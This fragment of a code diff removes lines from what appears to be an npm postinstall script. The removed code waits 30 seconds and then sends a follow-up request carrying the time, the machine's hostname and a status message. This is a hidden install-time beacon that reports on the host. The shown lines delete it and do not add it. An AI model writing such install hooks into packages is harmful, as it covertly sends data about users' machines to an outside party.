- time: new Date().toISOString(),
179
- hostname: os.hostname(),
180
- message: 'Postinstall script still active after 30 seconds'
181
- }));
182
-
183
- followupReq.end();
184
- console.log('Follow-up sent after 30 seconds');
185
- }, 30000);
Binary file